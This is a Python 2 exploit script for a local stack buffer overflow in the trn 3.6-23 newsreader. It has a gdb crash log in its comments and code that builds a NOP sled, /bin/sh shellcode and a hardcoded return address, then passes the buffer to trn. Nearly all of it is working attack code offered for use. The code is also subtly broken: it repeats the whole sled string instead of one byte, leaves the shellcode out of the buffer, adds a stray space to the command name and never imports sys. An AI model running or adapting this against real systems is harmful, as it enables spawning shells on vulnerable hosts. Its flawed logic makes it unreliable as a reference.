5a82bad23d
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57 lines
2 KiB
Python
Executable file
57 lines
2 KiB
Python
Executable file
# Exploit developed using Exploit Pack v5.4
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# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com
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# Program affected: Threaded USENET news reader
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# Version: 3.6-23
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#
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# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
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# Program description: Threaded USENET news reader, based on rn
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# trn is the most widely-used newsreader on USENET
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# Kali Linux 2.0 package: pool/non-free/t/trn/trn_3.6-23_i386.deb
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# MD5sum: 57782e66c4bf127af0d252db9439fbdf
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# Website: https://sourceforge.net/projects/trn/
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#
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# gdb$ run $(python -c 'print "A"*156+"DCBA"')
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# Starting program: /usr/bin/trn $(python -c 'print "A"*156+"DCBA"')
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#
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# Program received signal SIGSEGV, Segmentation fault.
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# --------------------------------------------------------------------------[regs]
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# EAX: 0x00000000 EBX: 0x41414141 ECX: 0x00000000 EDX: 0x0809040C o d I t S z a p c
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# ESI: 0x41414141 EDI: 0x41414141 EBP: 0x41414141 ESP: 0xBFFFED60 EIP: 0x41424344
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# CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop:
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# Cannot access memory at address 0x41424344
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# 0x41424344 in ?? ()
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import os, subprocess
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def run():
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try:
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print "# TRN Threaded Reader - Stack Buffer Overflow by Juan Sacco"
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print "# This Exploit has been developed using Exploit Pack"
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# NOPSLED + SHELLCODE + EIP
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buffersize = 160
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nopsled = "\x90"*132
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shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
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eip = "\xd0\xec\xff\xbf"
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buffer = nopsled * (buffersize-len(shellcode)) + eip
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subprocess.call(["trn ",' ', buffer])
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except OSError as e:
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if e.errno == os.errno.ENOENT:
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print "Sorry, Threaded Reader - Not found!"
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else:
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print "Error executing exploit"
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raise
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def howtousage():
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print "Snap! Something went wrong"
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sys.exit(-1)
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if __name__ == '__main__':
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try:
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print "Exploit TRN 3.6-23 Local Overflow Exploit"
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print "Author: Juan Sacco - Exploit Pack"
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except IndexError:
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howtousage()
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run()
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